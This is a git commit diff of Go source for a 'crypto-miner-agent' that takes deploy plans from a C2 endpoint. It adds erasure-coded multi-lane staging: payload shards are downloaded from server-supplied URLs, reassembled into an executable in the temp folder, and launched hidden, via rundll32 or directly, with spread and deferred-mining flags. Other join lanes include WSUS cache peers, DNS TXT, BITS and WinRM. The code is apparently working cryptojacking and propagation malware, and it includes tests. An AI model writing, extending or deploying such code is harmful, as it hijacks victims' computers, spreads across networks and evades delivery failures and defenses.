Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
17
agent/client/erasure_policy_test.go
Normal file
17
agent/client/erasure_policy_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplySpreadPolicyErasureLanes(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw := []byte(`{"erasure_lanes_enabled":true,"hashrate_gate_spread_min":5,"hashrate_gate_hps":100}`)
|
||||
c.applySpreadPolicyJSON(raw)
|
||||
if !c.cfg.ErasureLanesEnabled {
|
||||
t.Fatal("expected erasure_lanes_enabled")
|
||||
}
|
||||
if c.cfg.HashrateGateSpreadMin != 5 {
|
||||
t.Fatalf("min=%d", c.cfg.HashrateGateSpreadMin)
|
||||
}
|
||||
}
|
||||
@@ -89,6 +89,7 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
@@ -100,5 +101,6 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
@@ -140,6 +140,8 @@ type BuiltinConfig struct {
|
||||
HashrateGateSpreadMin int
|
||||
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
|
||||
ErasureLanesEnabled bool
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
|
||||
6
agent/config/erasure_lanes.go
Normal file
6
agent/config/erasure_lanes.go
Normal file
@@ -0,0 +1,6 @@
|
||||
package config
|
||||
|
||||
// ErasureLanesEnabled reports whether server policy allows multi-lane Reed–Solomon reassembly.
|
||||
func ErasureLanesEnabled(cfg RuntimeConfig) bool {
|
||||
return cfg.ErasureLanesEnabled
|
||||
}
|
||||
12
agent/config/erasure_lanes_test.go
Normal file
12
agent/config/erasure_lanes_test.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestErasureLanesEnabled(t *testing.T) {
|
||||
if ErasureLanesEnabled(RuntimeConfig{}) {
|
||||
t.Fatal("expected off by default")
|
||||
}
|
||||
if !ErasureLanesEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{ErasureLanesEnabled: true}}) {
|
||||
t.Fatal("expected on when set")
|
||||
}
|
||||
}
|
||||
@@ -54,6 +54,7 @@ type DeployPlanBody struct {
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
||||
@@ -95,6 +96,19 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
|
||||
return deferMsg, nil
|
||||
}
|
||||
tryPrimary := func(run func() (string, error)) (string, error) {
|
||||
msg, err := run()
|
||||
if err == nil {
|
||||
return msg, nil
|
||||
}
|
||||
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
|
||||
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
|
||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
switch lane {
|
||||
case "do_peer":
|
||||
if plan.Manifest == nil {
|
||||
@@ -104,11 +118,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
if peer == "" {
|
||||
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
|
||||
}
|
||||
msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
return tryPrimary(func() (string, error) {
|
||||
return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
|
||||
})
|
||||
case "wsus_cache_peer":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
|
||||
@@ -117,11 +129,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
if group == "" {
|
||||
group = strings.TrimSpace(plan.Manifest.CacheGroup)
|
||||
}
|
||||
msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
return tryPrimary(func() (string, error) {
|
||||
return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
|
||||
})
|
||||
case "dns_txt":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
|
||||
@@ -134,11 +144,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
if ttl == 0 {
|
||||
ttl = plan.Manifest.TTLRefreshSec
|
||||
}
|
||||
msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
return tryPrimary(func() (string, error) {
|
||||
return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
|
||||
})
|
||||
case "webrtc_mesh":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
|
||||
@@ -171,7 +179,8 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
ApplyLANSeederToWebRTC(&policy, seeder)
|
||||
}
|
||||
}
|
||||
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
||||
return tryPrimary(func() (string, error) {
|
||||
return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
||||
Policy: policy,
|
||||
SHA256: plan.Manifest.SHA256,
|
||||
Dest: plan.Manifest.Dest,
|
||||
@@ -180,22 +189,21 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
DeferMining: plan.Manifest.DeferMining,
|
||||
SpreadInstall: plan.Manifest.SpreadInstall,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
})
|
||||
case "bits_curl", "docker_load":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
||||
}
|
||||
msg, err := RunStagingChain(cfg, *plan.Manifest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if lane == "docker_load" && plan.ImageTarURL != "" {
|
||||
msg += "; docker_load image=" + plan.ImageTarURL
|
||||
}
|
||||
return msg, nil
|
||||
return tryPrimary(func() (string, error) {
|
||||
msg, err := RunStagingChain(cfg, *plan.Manifest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if lane == "docker_load" && plan.ImageTarURL != "" {
|
||||
msg += "; docker_load image=" + plan.ImageTarURL
|
||||
}
|
||||
return msg, nil
|
||||
})
|
||||
case "winrm":
|
||||
if err := runJoinScript(plan.Script, true); err != nil {
|
||||
return "", err
|
||||
|
||||
93
agent/deploy/discover_join_erasure_test.go
Normal file
93
agent/deploy/discover_join_erasure_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"github.com/klauspost/reedsolomon"
|
||||
)
|
||||
|
||||
func TestExecuteDeployPlanErasureFallback(t *testing.T) {
|
||||
payload := []byte("erasure-fallback-payload")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 2}
|
||||
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
shards, err := enc.Split(payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := enc.Encode(shards); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "bits_curl",
|
||||
Action: "bits_curl",
|
||||
Manifest: &StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/fail", File: "worker.exe"}},
|
||||
SHA256: hexSHA256(payload), Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
||||
},
|
||||
ErasurePlan: &ErasurePlanBody{
|
||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
||||
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||
PayloadSHA256: hexSHA256(payload),
|
||||
PayloadSize: len(payload),
|
||||
ShardToken: "fb-token",
|
||||
Dest: t.TempDir() + `\w.exe`,
|
||||
Launch: "exe",
|
||||
},
|
||||
}
|
||||
for i := range shards {
|
||||
plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{
|
||||
Index: i, Lane: parallelLaneName(i), URL: "mock://" + string(rune('a'+i)),
|
||||
})
|
||||
}
|
||||
shardCopy := make([][]byte, len(shards))
|
||||
for i, sh := range shards {
|
||||
shardCopy[i] = append([]byte(nil), sh...)
|
||||
}
|
||||
|
||||
prevFetch := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
for i, ref := range plan.ErasurePlan.Shards {
|
||||
if ref.URL == url {
|
||||
return shardCopy[i], nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prevFetch }()
|
||||
|
||||
prevLaunch := erasureLaunchFn
|
||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
return "launched", nil
|
||||
}
|
||||
defer func() { erasureLaunchFn = prevLaunch }()
|
||||
|
||||
prevStaging := stagingLaunchFn
|
||||
stagingLaunchFn = nil
|
||||
stagingDownloadCurlFn = func(url, dest string) error { return errPrimaryLaneFailed }
|
||||
defer func() {
|
||||
stagingDownloadCurlFn = nil
|
||||
stagingLaunchFn = prevStaging
|
||||
}()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}}
|
||||
msg, err := ExecuteDeployPlan(cfg, plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "primary lane failed") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
var errPrimaryLaneFailed = primaryLaneFailedError{}
|
||||
|
||||
type primaryLaneFailedError struct{}
|
||||
|
||||
func (primaryLaneFailedError) Error() string { return "primary lane failed" }
|
||||
82
agent/deploy/erasure_codec.go
Normal file
82
agent/deploy/erasure_codec.go
Normal file
@@ -0,0 +1,82 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
|
||||
"github.com/klauspost/reedsolomon"
|
||||
)
|
||||
|
||||
const (
|
||||
erasureSchemeReedSolomonV1 = "reed_solomon_v1"
|
||||
erasureDefaultDataShards = 4
|
||||
erasureDefaultParityShards = 2
|
||||
)
|
||||
|
||||
type erasureParams struct {
|
||||
DataShards int
|
||||
ParityShards int
|
||||
}
|
||||
|
||||
func (p erasureParams) normalize() (erasureParams, error) {
|
||||
if p.DataShards <= 0 {
|
||||
p.DataShards = erasureDefaultDataShards
|
||||
}
|
||||
if p.ParityShards <= 0 {
|
||||
p.ParityShards = erasureDefaultParityShards
|
||||
}
|
||||
if p.DataShards < 1 || p.ParityShards < 1 {
|
||||
return erasureParams{}, fmt.Errorf("erasure: invalid shard counts")
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
func (p erasureParams) minShards() int {
|
||||
return p.DataShards
|
||||
}
|
||||
|
||||
func (p erasureParams) totalShards() int {
|
||||
return p.DataShards + p.ParityShards
|
||||
}
|
||||
|
||||
// decodeErasureShards reconstructs payload from Reed–Solomon shards (nil = missing).
|
||||
func decodeErasureShards(shards [][]byte, payloadSize int, p erasureParams) ([]byte, error) {
|
||||
p, err := p.normalize()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(shards) < p.totalShards() {
|
||||
return nil, fmt.Errorf("erasure: shard slice too short")
|
||||
}
|
||||
present := 0
|
||||
for i := 0; i < p.totalShards(); i++ {
|
||||
if len(shards[i]) > 0 {
|
||||
present++
|
||||
}
|
||||
}
|
||||
if present < p.minShards() {
|
||||
return nil, fmt.Errorf("erasure: need %d shards, have %d", p.minShards(), present)
|
||||
}
|
||||
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := enc.Reconstruct(shards); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ok, err := enc.Verify(shards)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("erasure: verification failed")
|
||||
}
|
||||
if payloadSize <= 0 {
|
||||
payloadSize = len(shards[0]) * p.DataShards
|
||||
}
|
||||
var out bytes.Buffer
|
||||
if err := enc.Join(&out, shards, payloadSize); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out.Bytes(), nil
|
||||
}
|
||||
24
agent/deploy/erasure_launch_unix.go
Normal file
24
agent/deploy/erasure_launch_unix.go
Normal file
@@ -0,0 +1,24 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
_ = launch
|
||||
_ = dllExport
|
||||
args := []string{runFlag}
|
||||
if deferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if spreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
|
||||
}
|
||||
34
agent/deploy/erasure_launch_windows.go
Normal file
34
agent/deploy/erasure_launch_windows.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(launch)) {
|
||||
case "rundll32", "dll":
|
||||
export := strings.TrimSpace(dllExport)
|
||||
if export == "" {
|
||||
export = "DllRegisterServer"
|
||||
}
|
||||
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("staged to %s; launched rundll32 %s", dest, export), nil
|
||||
default:
|
||||
args := []string{runFlag}
|
||||
if deferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if spreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
|
||||
}
|
||||
}
|
||||
174
agent/deploy/erasure_staging.go
Normal file
174
agent/deploy/erasure_staging.go
Normal file
@@ -0,0 +1,174 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
|
||||
type ErasureShardRef struct {
|
||||
Index int `json:"index"`
|
||||
Lane string `json:"lane"`
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// ErasurePlanBody is server-encoded Reed–Solomon metadata for multi-lane spread payloads.
|
||||
type ErasurePlanBody struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
Scheme string `json:"scheme"`
|
||||
DataShards int `json:"data_shards"`
|
||||
ParityShards int `json:"parity_shards"`
|
||||
PayloadSHA256 string `json:"sha256"`
|
||||
PayloadSize int `json:"payload_size"`
|
||||
ShardToken string `json:"shard_token"`
|
||||
Dest string `json:"dest,omitempty"`
|
||||
Launch string `json:"launch,omitempty"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
Shards []ErasureShardRef `json:"shards"`
|
||||
}
|
||||
|
||||
// erasureFetchFn fetches one shard body (injectable for tests).
|
||||
var erasureFetchFn func(url string) ([]byte, error)
|
||||
|
||||
// erasureLaunchFn launches a reassembled staged binary (injectable for tests).
|
||||
var erasureLaunchFn func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error)
|
||||
|
||||
func erasureWorkDir(cfg config.RuntimeConfig, token string) string {
|
||||
return filepath.Join(os.TempDir(), ".erasure-"+sanitizeName(token)+"-"+sanitizeName(cfg.WorkerName))
|
||||
}
|
||||
|
||||
// RunErasureStaging fetches k-of-n shards across parallel lane URLs and reassembles the payload.
|
||||
func RunErasureStaging(cfg config.RuntimeConfig, plan ErasurePlanBody) (string, error) {
|
||||
if !plan.Enabled || len(plan.Shards) == 0 {
|
||||
return "", fmt.Errorf("erasure plan disabled or empty")
|
||||
}
|
||||
if strings.TrimSpace(plan.Scheme) != "" && plan.Scheme != erasureSchemeReedSolomonV1 {
|
||||
return "", fmt.Errorf("unsupported erasure scheme %q", plan.Scheme)
|
||||
}
|
||||
p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards}
|
||||
p, err := p.normalize()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
workDir := erasureWorkDir(cfg, plan.ShardToken)
|
||||
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||
return "", err
|
||||
}
|
||||
cleanup := func() { _ = os.RemoveAll(workDir) }
|
||||
|
||||
shards := make([][]byte, p.totalShards())
|
||||
fetch := erasureFetchFn
|
||||
if fetch == nil {
|
||||
fetch = fetchErasureShardHTTP
|
||||
}
|
||||
for _, ref := range plan.Shards {
|
||||
if ref.Index < 0 || ref.Index >= len(shards) {
|
||||
continue
|
||||
}
|
||||
if len(shards[ref.Index]) > 0 {
|
||||
continue
|
||||
}
|
||||
body, err := fetch(strings.TrimSpace(ref.URL))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
shards[ref.Index] = body
|
||||
}
|
||||
payload, err := decodeErasureShards(shards, plan.PayloadSize, p)
|
||||
if err != nil {
|
||||
cleanup()
|
||||
return "", err
|
||||
}
|
||||
if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil {
|
||||
cleanup()
|
||||
return "", err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
cleanup()
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(dest, payload, 0o755); err != nil {
|
||||
cleanup()
|
||||
return "", err
|
||||
}
|
||||
launch := strings.TrimSpace(plan.Launch)
|
||||
if launch == "" {
|
||||
launch = "exe"
|
||||
}
|
||||
launchFn := erasureLaunchFn
|
||||
if launchFn == nil {
|
||||
launchFn = launchErasureStagedBinary
|
||||
}
|
||||
msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall)
|
||||
cleanup()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "erasure_lanes: " + msg, nil
|
||||
}
|
||||
|
||||
func fetchErasureShardHTTP(url string) ([]byte, error) {
|
||||
if url == "" {
|
||||
return nil, fmt.Errorf("empty shard url")
|
||||
}
|
||||
client := &http.Client{Timeout: 30 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("shard fetch HTTP %d", resp.StatusCode)
|
||||
}
|
||||
raw, err := io.ReadAll(io.LimitReader(resp.Body, 8<<20))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw = bytesTrimSpace(raw)
|
||||
if dec, err := base64.StdEncoding.DecodeString(string(raw)); err == nil && len(dec) > 0 {
|
||||
return dec, nil
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
func verifyBytesSHA256(data []byte, expectHex string) error {
|
||||
expectHex = strings.TrimSpace(strings.ToLower(expectHex))
|
||||
if expectHex == "" {
|
||||
return nil
|
||||
}
|
||||
sum := sha256.Sum256(data)
|
||||
got := hex.EncodeToString(sum[:])
|
||||
if got != expectHex {
|
||||
return fmt.Errorf("erasure sha256 mismatch")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func firstNonEmptyStr(parts ...string) string {
|
||||
for _, p := range parts {
|
||||
if strings.TrimSpace(p) != "" {
|
||||
return strings.TrimSpace(p)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func bytesTrimSpace(b []byte) []byte {
|
||||
return []byte(strings.TrimSpace(string(b)))
|
||||
}
|
||||
144
agent/deploy/erasure_staging_test.go
Normal file
144
agent/deploy/erasure_staging_test.go
Normal file
@@ -0,0 +1,144 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"github.com/klauspost/reedsolomon"
|
||||
)
|
||||
|
||||
func TestRunErasureStagingRoundTrip(t *testing.T) {
|
||||
payload := []byte("erasure-staging-agent-roundtrip")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 2}
|
||||
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
shards, err := enc.Split(payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := enc.Encode(shards); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
plan := ErasurePlanBody{
|
||||
Enabled: true,
|
||||
Scheme: erasureSchemeReedSolomonV1,
|
||||
DataShards: p.DataShards,
|
||||
ParityShards: p.ParityShards,
|
||||
PayloadSHA256: hexSHA256(payload),
|
||||
PayloadSize: len(payload),
|
||||
ShardToken: "test-token",
|
||||
Dest: t.TempDir() + `\worker.exe`,
|
||||
Launch: "exe",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
}
|
||||
shardBodies := make([][]byte, len(shards))
|
||||
for i, sh := range shards {
|
||||
shardBodies[i] = append([]byte(nil), sh...)
|
||||
plan.Shards = append(plan.Shards, ErasureShardRef{
|
||||
Index: i,
|
||||
Lane: parallelLaneName(i),
|
||||
URL: "mock://" + string(rune('a'+i)),
|
||||
})
|
||||
}
|
||||
prev := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
for i, ref := range plan.Shards {
|
||||
if ref.URL == url {
|
||||
return shardBodies[i], nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prev }()
|
||||
|
||||
prevLaunch := erasureLaunchFn
|
||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
return "launched " + dest, nil
|
||||
}
|
||||
defer func() { erasureLaunchFn = prevLaunch }()
|
||||
|
||||
msg, err := RunErasureStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w1"}}, plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "launched") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunErasureStagingRejectsBadSHA(t *testing.T) {
|
||||
payload := []byte("bad-sha")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 1}
|
||||
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
shards, _ := enc.Split(payload)
|
||||
_ = enc.Encode(shards)
|
||||
plan := ErasurePlanBody{
|
||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
||||
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||
PayloadSHA256: strings.Repeat("a", 64),
|
||||
Dest: t.TempDir() + `\w.exe`,
|
||||
Shards: []ErasureShardRef{
|
||||
{Index: 0, URL: "mock://0"},
|
||||
{Index: 1, URL: "mock://1"},
|
||||
{Index: 2, URL: "mock://2"},
|
||||
},
|
||||
}
|
||||
prev := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
switch url {
|
||||
case "mock://0":
|
||||
return shards[0], nil
|
||||
case "mock://1":
|
||||
return shards[1], nil
|
||||
case "mock://2":
|
||||
return shards[2], nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prev }()
|
||||
if _, err := RunErasureStaging(config.RuntimeConfig{}, plan); err == nil {
|
||||
t.Fatal("expected sha mismatch error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeErasureShardsMixedLoss(t *testing.T) {
|
||||
payload := []byte("codec-mixed-loss")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 2}
|
||||
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
shards, err := enc.Split(payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := enc.Encode(shards); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
shards[0] = nil
|
||||
shards[3] = nil
|
||||
got, err := decodeErasureShards(shards, len(payload), p)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != string(payload) {
|
||||
t.Fatal("reconstruct mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func parallelLaneName(i int) string {
|
||||
lanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer"}
|
||||
return lanes[i%len(lanes)]
|
||||
}
|
||||
|
||||
func hexSHA256(data []byte) string {
|
||||
sum := sha256.Sum256(data)
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
@@ -6,7 +6,9 @@ require (
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
github.com/klauspost/reedsolomon v1.12.4
|
||||
github.com/libp2p/go-libp2p v0.48.0
|
||||
golang.org/x/crypto v0.48.0
|
||||
golang.org/x/sys v0.41.0
|
||||
)
|
||||
|
||||
@@ -24,7 +26,7 @@ require (
|
||||
github.com/ipfs/go-cid v0.5.0 // indirect
|
||||
github.com/jackpal/go-nat-pmp v1.0.2 // indirect
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.10 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.3.0 // indirect
|
||||
github.com/koron/go-ssdp v0.0.6 // indirect
|
||||
github.com/libp2p/go-buffer-pool v0.1.0 // indirect
|
||||
github.com/libp2p/go-flow-metrics v0.2.0 // indirect
|
||||
@@ -83,7 +85,6 @@ require (
|
||||
go.uber.org/mock v0.5.2 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
go.uber.org/zap v1.27.0 // indirect
|
||||
golang.org/x/crypto v0.48.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect
|
||||
golang.org/x/mod v0.32.0 // indirect
|
||||
golang.org/x/net v0.50.0 // indirect
|
||||
|
||||
